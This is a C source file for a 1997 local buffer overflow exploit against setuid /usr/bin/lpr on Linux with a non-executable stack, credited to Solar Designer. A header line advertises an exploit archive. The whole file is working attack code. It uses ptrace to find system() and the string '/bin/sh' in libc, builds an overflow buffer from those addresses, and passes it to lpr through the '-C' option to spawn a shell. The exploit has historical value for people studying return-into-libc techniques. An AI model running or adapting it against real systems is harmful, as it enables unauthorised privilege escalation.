
/* http://www.anticode.com  for the latest exploits, tools and documents! */

/*
 * /usr/bin/lpr buffer overflow exploit for Linux with
 * non-executable stack
 * Copyright (c) 1997 by Solar Designer
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>

#define SIZE            1200    /* Amount of data to overflow with */
#define ALIGNMENT       11      /* 0, 8, 1..3, 9..11 */

#define ADDR_MASK       0xFF000000

char buf[SIZE];
int *ptr;

int pid, pc, shell, step;
int started = 0;
jmp_buf env;

void handler() {
  started++;
}

void fault() {
  if (step < 0) {
    longjmp(env, 1);
  } else {
    puts("\"/bin/sh\" not found, bad luck");
    exit(1);
  }
}

void error(char *fn) {
  perror(fn);
  if (pid > 0) kill(pid, SIGKILL);
  exit(1);
}

void main() {
  signal(SIGUSR1, handler);

  if ((pid = fork()) < 0) error("fork");

  if (!pid) {
    kill(getppid(), SIGUSR1);
    while (1) system("");
  }

  while (!started);

  if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");

  do {
    waitpid(pid, NULL, WUNTRACED);
    pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
    if (pc == -1) error("PTRACE_PEEKUSR");
    if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));

  do {
    waitpid(pid, NULL, WUNTRACED);
    pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
    if (pc == -1) error("PTRACE_PEEKUSR");
    if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));

  if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
  pid = 0;

  printf("system() found at: %08x\n", pc);

  if (!(pc & 0xFF))
  if (*(unsigned char *)--pc != 0x90) pc = 0;
  if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
   puts("Zero bytes in address, bad luck");
   exit(1);
  }

  if (setjmp(env)) step = 1; else step = -1;
  shell = pc;
  signal(SIGSEGV, fault);
  do
    while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
  while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
  signal(SIGSEGV, SIG_DFL);

  printf("\"/bin/sh\" found at: %08x\n", shell);

  memset(buf, 'x', ALIGNMENT);
  ptr = (int *)(buf + ALIGNMENT);
  while ((char *)ptr < buf + SIZE - 4*sizeof(int)) {
    *ptr++ = pc; *ptr++ = pc;
    *ptr++ = shell; *ptr++ = shell;
  }
  buf[SIZE - 1] = 0;
  execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
  error("execl");
}
